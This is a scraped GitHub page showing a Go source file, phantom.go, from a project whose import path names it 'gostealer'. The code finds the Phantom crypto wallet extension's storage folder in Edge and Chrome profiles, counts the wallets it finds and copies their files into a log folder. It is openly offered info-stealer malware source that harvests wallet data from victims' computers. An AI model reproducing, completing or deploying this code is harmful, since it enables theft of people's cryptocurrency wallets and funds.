-
Notifications
You must be signed in to change notification settings - Fork 0
/
phantom.go
32 lines (24 loc) · 919 Bytes
/
phantom.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package wallets
import (
"os"
"path"
"github.com/4kord/gostealer/utils"
)
func CopyPhantomEdge(browserPath, logFolderPath string) {
phantomc := path.Join(browserPath, "Default", "Local Extension Settings", "bfnaelmomeimhlpmgjnjophhpkkoljpa")
if _, err := os.Stat(phantomc); !os.IsNotExist(err) {
utils.WalletAmount++
utils.FoundWallets += "phantom_edge_chromeversion\n"
}
// ____________________
utils.CopyFolderFiles(phantomc, path.Join(logFolderPath, "wallets", "phantom_edge_chromeversion"))
}
func CopyPhantomChrome(browserPath, logFolderPath string) {
phantom := path.Join(browserPath, "Default", "Local Extension Settings", "bfnaelmomeimhlpmgjnjophhpkkoljpa")
if _, err := os.Stat(phantom); !os.IsNotExist(err) {
utils.WalletAmount++
utils.FoundWallets += "phantom_chrome\n"
}
//________________
utils.CopyFolderFiles(phantom, path.Join(logFolderPath, "wallets", "phantom_chrome"))
}